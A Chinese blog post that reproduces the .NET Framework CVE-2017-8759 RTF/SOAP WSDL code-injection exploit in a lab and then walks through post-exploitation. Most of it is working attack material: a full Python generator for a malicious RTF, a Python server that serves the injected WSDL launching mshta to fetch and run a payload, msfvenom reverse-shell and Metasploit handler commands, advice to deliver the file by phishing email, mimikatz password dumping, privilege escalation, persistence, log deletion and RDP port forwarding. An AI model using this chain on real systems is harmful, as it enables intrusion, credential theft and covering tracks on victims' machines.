.NET Framework漏洞(CVE-2017-8759)复现及后续渗透

参考:!bhdresh

简介

CVE-2017-8759是一个新型的Office文档高级威胁攻击漏洞,该漏洞允许恶意人士在解析SOAP WSDL的定义内容期间注入任意代码。FireEye公司对该微软Office文档进行了分析,并发现攻击者能够利用代码注入方式下载并执行一份包含PowerShell指令的Visual Basic脚本。黑客在Offcie文档中嵌入新的Moniker对象,利用的是.net库漏洞,在Office文档中加载执行远程的恶意.NET代码。

影响版本

影响到几乎所有旧版本的 .NET Framework。包括:

Microsoft .NET Framework 2.0 SP2

Microsoft .NET Framework 3.5

Microsoft .NET Framework 3.5.1

Microsoft .NET Framework 4.5.2

Microsoft .NET Framework 4.6

Microsoft .NET Framework 4.6.1

Microsoft .NET Framework 4.6.2

Microsoft .NET Framework 4.7

环境说明

虚拟机:VMware Fusion

攻击机操作系统:kali

攻击机ip:172.16.73.142

靶机操作系统:windows7 professional x86

靶机ip:172.16.73.140

渗透工具:metasploit,mimikatz,msfvenom

攻击原理

漏洞的整个攻击过程如下:

  1. 打开RTF文档(Word)

  2. RTF文档自动请求恶意SOAP Wsdl XML文档

  3. .NET Framework解析Wsdl XML为C#代码

  4. csc.exe将C#代码编译为dll

  5. Word加载dll执行恶意代码

​ 漏洞主要问题出现在 .NET Framework解析上,将远程的xml格式文件编译成c#执行的时候,解析模块中IsValidUrl函数没有正确处理XML中含有换行符的情况,导致调用者函数PrintClientProxy存在代码注入漏洞。

漏洞产生原因

函数PrintClientProxy在处理含有多个location的情况时,会将第一个location保留,其余的全部注释掉(图2红框部分)。然而,注释的处理代码没有考虑location中含有换行符的情况,导致换行符后的代码会被编译成可执行的C#代码。

打开生成的rtf文件请求的恶意soap wsdl xml文件如下:

19

这里第一次调用IsValidUrl,传入参数location。

​ 下面的

第二次调用IsValidUrl,传入参数是第二个location,第二个location带有换行符。System.Diagnostics.Process.Start方法会被注入。

生成的代码会被.NET框架的csc.exe编译,然后作为DLL加载到Office可执行程序中。之后编译出的C#代码,刚好注入了恶意代码生成了一个dll文件,

.NET Framework漏洞(CVE-2017-8759)复现及后续渗透_第1张图片

word加载编译后的dll。

用ultraedit打开该dll文件。在其中发现:

调用了System.Diagnostics.Process.Start函数,启动mshta.exe去执行远程恶意代码cmd.hta,

.NET Framework漏洞(CVE-2017-8759)复现及后续渗透_第2张图片

恶意的cmd.hta脚本嵌入在一个db后缀的二进制流文件中,在其中写入了shell。

复现过程

通过ifconfig查看攻击机ip。

.NET Framework漏洞(CVE-2017-8759)复现及后续渗透_第3张图片

通过python脚本生成恶意的rtf文件.

root@kali:~# python create.py -w test.rtf -u http://172.16.73.142/logo.txt

2

#!/usr/bin/env python
#coding:utf-8



import os,sys,thread,socket,sys,getopt,binascii,shutil,tempfile
from random import randint
from random import choice
from string import ascii_uppercase
from zipfile import ZipFile, ZIP_STORED, ZipInfo

def main(argv):

    global filename
    global docuri
    filename = ''
    docuri = ''
    #通过opt处理命令行参数输入

    opts, args = getopt.getopt(argv, "w:u",
                               ["filename=", "docuri="])
    for opt, arg in opts:


        if opt in ("-w", "--filename"):
            filename = arg
        elif opt in ("-u", "--docuri"):
            docuri = arg
    generate_exploit_rtf()
    sys.exit()

def generate_exploit_rtf():

    s=docuri
    docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s) #docuri_hex通过读取攻击机ip,转为hex格式的地址。将内嵌一个连接到攻击地址的连接去下载执行shell。
    docuri_pad_len = 714 - len(docuri_hex)
    #填充
    docuri_pad = "0" * docuri_pad_len
    #生成的rtf文档内容,会自动请求恶意soap wsdl xml文档。
    payload = "{\\rtf1\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n"
    payload += "{\\info\n"
    payload += "{\\author }\n"
    payload += "{\\operator }\n"
    payload += "}\n"
    payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n"
    payload += "{\n"
    payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n"
    payload += "{\\*\\objclass Word.Document.8}\n"
    payload += "{\\*\\objdata 010500000200000008000000e2bae4e53e2231000000000000000000000a0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff010000000003000000000000c000000000000046000000000000000000000000f02c1951c8e5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000201ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000d8010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000020000000300000004000000050000000600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0100000209000000010000000000000000000000000000008c010000c7b0abec197fd211978e0000f8757e2a00000000700100007700730064006c003d00" + docuri_hex + docuri_pad + "00ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000}\n"
    payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0 \\insrsid1979324 }}}}\n"
    payload += "{\\*\\datastore }\n"
    payload += "}\n"
    f = open(filename, 'w')
    f.write(payload)
    f.close()
    print "Generated " + filename + " successfully"

if  __name__== '__main__':
    print("let's start cve-2017-8759,to create a malicious rtf file")
    main(sys.argv[1:])

利用msfvenom生成一个反弹shell的exe文件,并命名为shell.exe。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.73.142
LPORT=4444 -f exe > /tmp/shell.exe

.NET Framework漏洞(CVE-2017-8759)复现及后续渗透_第4张图片

将恶意rtf文件通过邮件钓鱼等手段发送到受害者主机。

再通过脚本listen.py攻击机监听来自文件执行之后反弹的shell。

4

#!/usr/bin/env python
#coding:utf-8



import os,sys,thread,socket,sys,getopt,binascii,shutil,tempfile
from random import randint
from random import choice
from string import ascii_uppercase
from zipfile import ZipFile, ZIP_STORED, ZipInfo

BACKLOG = 50            
MAX_DATA_RECV = 999999  
DEBUG = True

def main(argv):
    global port
    global host
    global payloadurl
    global payloadlocation
    global custom
    global obfuscate
    global payloadtype

    payloadurl = ''
    payloadlocation = ''
    custom = ''
    port = int("80")
    host = ''
    mode = ''
    obfuscate = int("0")
    payloadtype = 'rtf'



    opts, args = getopt.getopt(argv, "e:l",
                               ["payloadurl=","payloadlocation="])
    for opt, arg in opts:
        if opt in ("-e", "--payloadurl"):
            payloadurl = arg
        elif opt in ("-l", "--payloadlocation"):
            payloadlocation = arg
        elif opt in ("-p", "--port"):
            port = int(arg)

    exploitation_rtf()
    sys.exit()


def exploitation_rtf():
    print "Server Running on ", host, ":", port

    try:
        # 创建socket
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # 连接套接字
        s.bind((host, port))

        # 监听
        s.listen(BACKLOG)

    except socket.error, (value, message):
        if s:
            s.close()
        print "Could not open socket:", message
        sys.exit(1)

    # 从客户端取得连接
    while 1:
        conn, client_addr = s.accept()

        # 创建线程处理request
        thread.start_new_thread(server_thread, (conn, client_addr))

    s.close()


def server_thread(conn, client_addr):
   
    try:
        request = conn.recv(MAX_DATA_RECV)
        if (len(request) > 0):
           
            first_line = request.split('\n')[0]

        
            method = first_line.split(' ')[0]
            try:
                url = first_line.split(' ')[1]
            except IndexError:
                print "Invalid request from " + client_addr[0]
                conn.close()
                sys.exit(1)
#根据rtf文件请求的soap xsdl xml文件里的地址选择。详情在攻击原理。
            if ".exe" in url:
                print "Received request for payload from " + client_addr[0]
                try:
                    size = os.path.getsize(payloadlocation)
                except OSError:
                    print "Unable to read " + payloadlocation
                    conn.close()
                    sys.exit(1)
                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: " + str(
                    size) + "\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
                with open(payloadlocation) as fin:
                    data += fin.read()
                    conn.send(data)
                    conn.close()
                    sys.exit(1)
                    
            if ".hta" in url:
                print "Received GET method from " + client_addr[0]
                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n\r\n"
                conn.send(data)
                conn.close()
            if ".txt" in url:
                print "Received GET method from " + client_addr[0]
                data = 'HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 2000\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/plain\r\n\r\n\n    \n    \n        \n        \n      \n      \n        \n            + \
                       payloadurl.split(':')[0] + "://" + payloadurl.split('/')[2] + '?C:\Windows\System32\mshta.exe?' + \
                       payloadurl.split(':')[0] + "://" + payloadurl.split('/')[
                           2] + '/cmd.hta"/>\n                        \n        \n    \n\n'
                conn.send(data)
                conn.close()
                sys.exit(1)
    except socket.error, ex:
        print ex


if __name__ == '__main__':

    main(sys.argv[1:])

5

此时恶意的cmd.hta脚本向受害机的windows/temp/中写入了/tmp/shell.exe并执行。

后续渗透

.NET Framework漏洞(CVE-2017-8759)复现及后续渗透_第5张图片

拿起metasploit就是一把梭(hhhhhhhhhh不是

msfconsole -x “use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 172.16.73.153; run”

打开msf的 multi/handler模块,设置payload方式为reverse_tcp,端口号为172.16.73.153,run开启exploit执行。

.NET Framework漏洞(CVE-2017-8759)复现及后续渗透_第6张图片

可以看到,msf已经接收到来自靶机监听端口的回返信息。

进入shell。

查看用户基本信息:systeminfo

7

可见是x86系统的。

提升权限:

向用户上传mimikatz的文件,用于抓取用户密码。

【因为msf自带的mimikatz不知道什么神秘原因,根本用不了= =所以用upload命令上传网上的mimikatz】

.NET Framework漏洞(CVE-2017-8759)复现及后续渗透_第7张图片

提升系统权限:

通过ms16那个漏洞来提权。

msf中可以search到ms16的利用模块。直接打过去。
.NET Framework漏洞(CVE-2017-8759)复现及后续渗透_第8张图片

成功后,返回之前的session中。通过ps命令查看当前受害机中进程。

.NET Framework漏洞(CVE-2017-8759)复现及后续渗透_第9张图片

ms16漏洞利用,pid3396为新增的进程,通过migrate转过去。

.NET Framework漏洞(CVE-2017-8759)复现及后续渗透_第10张图片

然后使用mimikatz抓取密码。

.NET Framework漏洞(CVE-2017-8759)复现及后续渗透_第11张图片

用户名sancrane密码123456

权限维持:

run persistence -U -i 10 -p 4444 -r 172.16.73.153

.NET Framework漏洞(CVE-2017-8759)复现及后续渗透_第12张图片

注销一次。Session关闭。监听模式继续打开,然后再启动。

.NET Framework漏洞(CVE-2017-8759)复现及后续渗透_第13张图片

不用打开恶意程序。直接拿到shell。

清除痕迹:

Del删除上传的文件。

.NET Framework漏洞(CVE-2017-8759)复现及后续渗透_第14张图片

清除本地日志。

del %WINDIR%*.log /a/s/q/f

.NET Framework漏洞(CVE-2017-8759)复现及后续渗透_第15张图片

端口转发及远程连接:

portwd add –l 4444 –r 127.0.0.1 –p 3389

​ 添加一个端口映射,将远程主机的3389端口映射到本地的4444端口。

【17】

成功后,在攻击机上终端中输入

root@kali:~# rdesktop 127.0.0.1:4444

就会弹出受害机的登陆界面。

.NET Framework漏洞(CVE-2017-8759)复现及后续渗透_第16张图片

利用之前获得的用户名密码可以登入啦。

其他

​ 由于 .NET Framework安装非常广泛,而该漏洞影响到几乎所有旧版本的 .NET Framework。
修补方法为及时打补丁,以及不要打开来源未知的office文档(包括.rtf,.doc,.ppsx…)。
其实这个去年就写了,但是因为图太多一直懒得整理2333333。感觉自己写的有点啰嗦了。算是内网渗透学习的一个比较经典的漏洞吧。

你可能感兴趣的:(安全)